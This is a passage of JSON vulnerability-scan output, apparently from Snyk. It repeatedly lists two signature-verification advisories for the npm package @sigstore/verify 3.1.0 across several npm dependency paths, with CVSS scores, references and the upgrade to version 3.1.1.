"triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": 